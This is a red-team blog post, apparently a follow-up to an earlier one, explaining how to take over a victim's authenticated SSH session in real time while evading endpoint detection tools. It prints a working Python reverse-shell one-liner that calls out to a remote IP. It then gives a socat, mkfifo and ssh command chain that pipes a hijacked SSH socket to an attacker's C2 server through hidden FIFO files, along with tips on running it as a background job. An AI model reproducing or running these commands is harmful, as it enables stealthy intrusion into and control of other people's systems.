Obfuscating Remote SSH Command & Control

In my last blog post, I detailed how we can use shell aliases to trick users into giving us access to their authenticated SSH channel(s). However, the proof of concept I provided would only be valid if you had synchronous command and control (C2) on the victim’s endpoint. Unfortunately, many C2 tools use asynchronous C2 as it tends to be a stealthier form of data transfer. In this blog post, I will detail how we can create a simple yet stealthy form of synchronous communication that will allow us to interact with the hijacked SSH session in real-time.

The keyword here is stealthy. It would be very easy to run this python reverse shell from your asynchronous C2 tool and call it a day.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Executing a python script that creates an outbound network connection and calls sh as a subprocess is anything but stealthy. This process would likely get blocked and alerted on in any enterprise network with OK or better security posture.

We need to obfuscate what we are doing so that it can fly under the radar of next-generation antivirus (NGAV) and endpoint detection and response (EDR) security tools. To do so, we will use socat and a combination of I/O and process redirection.

mkfifo /tmp/.send >/dev/null 2>&1 && mkfifo /tmp/.recv >/dev/null 2>&1
socat - TCP:SSH_C2_IP:SSH_C2_PORT < /tmp/.recv > /tmp/.send 2>/dev/null &
cat /tmp/.send | ssh -S /tmp/.sock VICTIM_USER@TARGET_SSH_HOST > /tmp/.recv 2>/dev/null &

The first command creates two FIFO files that we will use to route our communication. The .send file will handle our commands sent to the SSH server and the .recv file will handle the output we receive from our SSH commands. The socat command connects to your server (where you have a netcat listener ready for the connection) and uses the FIFO files as I/O. The last command puts everything together by piping the contents of your .send FIFO file to SSH while redirecting the output of the SSH process to your .recv FIFO file.

Note: The last two commands are synchronous and if you run them directly from your asynchronous C2 tool you will have a difficult time (your connection will hang). For that reason, it’s a good idea to create a shell script containing these two commands, upload the script to your target’s endpoint, and execute it as a background job.

From the standpoint of an EDR tool, it looks as if socat is simply reading and writing to separate files. That is technically what it is doing, but of course, there is something more malicious going on behind the scenes. If you enjoyed this blog check out https://redblue42.code42.com/ for more content!